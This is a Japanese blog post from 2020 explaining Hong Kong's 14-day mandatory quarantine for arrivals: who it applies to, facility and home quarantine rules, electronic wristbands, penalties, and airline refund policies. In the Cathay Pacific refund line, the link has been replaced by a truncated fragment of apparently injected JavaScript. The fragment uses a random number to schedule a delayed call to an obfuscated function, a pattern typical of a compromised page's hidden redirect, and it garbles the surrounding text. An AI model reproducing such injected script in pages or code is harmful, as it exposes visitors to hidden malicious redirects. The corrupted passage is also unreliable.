香港政府が3月19日から香港に入国する香港居民を含む全ての人(台湾・マカオ以外)に強制隔離または医学的監視の対象になることを発表。
- 香港に行くと隔離される?
- いつまで香港旅行は行けない?
- 具体的に隔離とはどういうもの?外出禁止?
- 予約している飛行機はキャンセル可能?
などについて簡単にまとめています。
お盆に香港旅行を控えている方、日本に一時帰国している香港在住者の方、ぜひ参考にしてください。
香港への入国の隔離措置
- 対象者:台湾とマカオを除く香港に入境する全ての人
- 期間:2020年3月19日~6月18日
- 隔離場所:隔離施設やホテル、自宅(香港在住者)
- 隔離期間:14日間
- 違反者:最高25000香港ドル及び6ヶ月の禁固刑
香港への旅行や渡航が困難となる
日本人は香港への入国は可能です。ただし14日間の隔離必須のため現在香港旅行は実質不可能ということになります。もし14日以上の長期の香港旅行を検討されている方は、はじめの14日間は隔離、その後は観光など外出可能です。
隔離措置の期間は6月18日までということで香港旅行を控えている方だけでなく、日本に一時帰国している香港在住者に衝撃が走りました。
※現在香港では学校が休校中ということでお子さんのいる日本人はお母さんと日本に戻っているケースが多い。
具体的な隔離措置!隔離には2パターンあり
強制検疫には2パターンあります。ニュースによると隔離・検疫場所は選ぶことができると書いていました。
隔離施設での検疫
宿泊するホテルや香港に自宅がない人は政府が指定する隔離施設で14日間隔離生活となります。宿泊代、食事代として毎日200香港ドル徴収されます。(14日間で2800香港ドル)
香港⇔中国大陸を何度も行き来し、隔離施設で生活している人がいたため急遽お金を徴収することになりました。
医学的隔離(隔離施設以外での検疫)
香港に自宅がある人や宿泊するホテルがある方はその場所で14日間隔離となります。香港入境する際に携帯のアプリと連動している電子リストバンドを手首に着用することが義務となります。
隔離期間中の注意点
自宅やホテルでの隔離となる場合は以下の点を守るよう香港政府からアナウンスがあります。
- 原則外出禁止
- 毎日体温測定と体調のチェックを行うこと
- 同居人や家族との接触を最小限にすること
- 食材や日用品は同居人や家族に依頼すること
- 同居人以外の友人などが食材などを届ける場合は、自宅・ホテルなどの検疫場所に立ち寄らないようにすること(濃厚接触をさける)
- もし食料や日用品入手が困難なときは、香港のソーシャルワーカー24時間ホットラインに連絡がすること
飛行機はキャンセルできる?
キャセイパシフィック航空
2020年5月31日までのチケットは無料で払い戻し可能(詳細はandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-ticket-changes/refunds.html”>こちら)
香港エクスプレス
2020年5月31日までのチケットは無料で払い戻し可能(詳細はこちら)
ANA
香港への入国は6月18日までできない状態なので直接窓口に連絡したら、5月以降もキャンセル可能とのことでした。
JAL
2020年4月30日までのチケットは無料で払い戻し可能(詳細はこちら)
香港への入国は6月18日までできない状態なので直接窓口に連絡したら、5月以降もキャンセル可能とのことでした。
香港航空
2020年4月30日までのチケットは無料で払い戻し可能(詳細はこちら)
まだサイトは更新されていませんがANA/JAL同様、6月18日までの香港入国の場合は無料対応してもらえると思うので窓口のご確認お願いします。※ただし電話が繋がりづらいので要注意
まとめ
残念ながら現在香港旅行は事実上不可能な状態です。デモもおさまりつつあったので、GWに香港旅行を計画されていたかたも多くおられると思うので今回の騒動は本当に悲しいです。
一日でも早く新型コロナウイルスが落ち着くことを願うばかりです。
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